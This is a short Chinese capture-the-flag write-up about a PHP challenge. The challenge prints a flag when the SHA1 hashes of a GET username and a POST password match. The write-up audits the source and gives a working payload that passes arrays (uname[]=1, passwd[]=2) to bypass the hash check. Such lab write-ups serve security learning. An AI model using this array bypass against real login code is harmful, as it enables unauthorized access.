0、打开网页,查看源代码
题目提示:各种绕过(实际上只需要数组绕过)
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
1、代码审计
我们发现需要以GET方式传入uname变量和id变量,用POST方式传入passwd变量
且uname的sha1值与passwd的sha1值相等,id==margin时,输出flag
结合题目提示,这里需要进行绕过,与之前MD5绕过方法相同,我们使用数组进行绕过
2、构造并用Hackbar上传payload:
GET:?id=margin&&uname[]=1
POST:passwd[]=2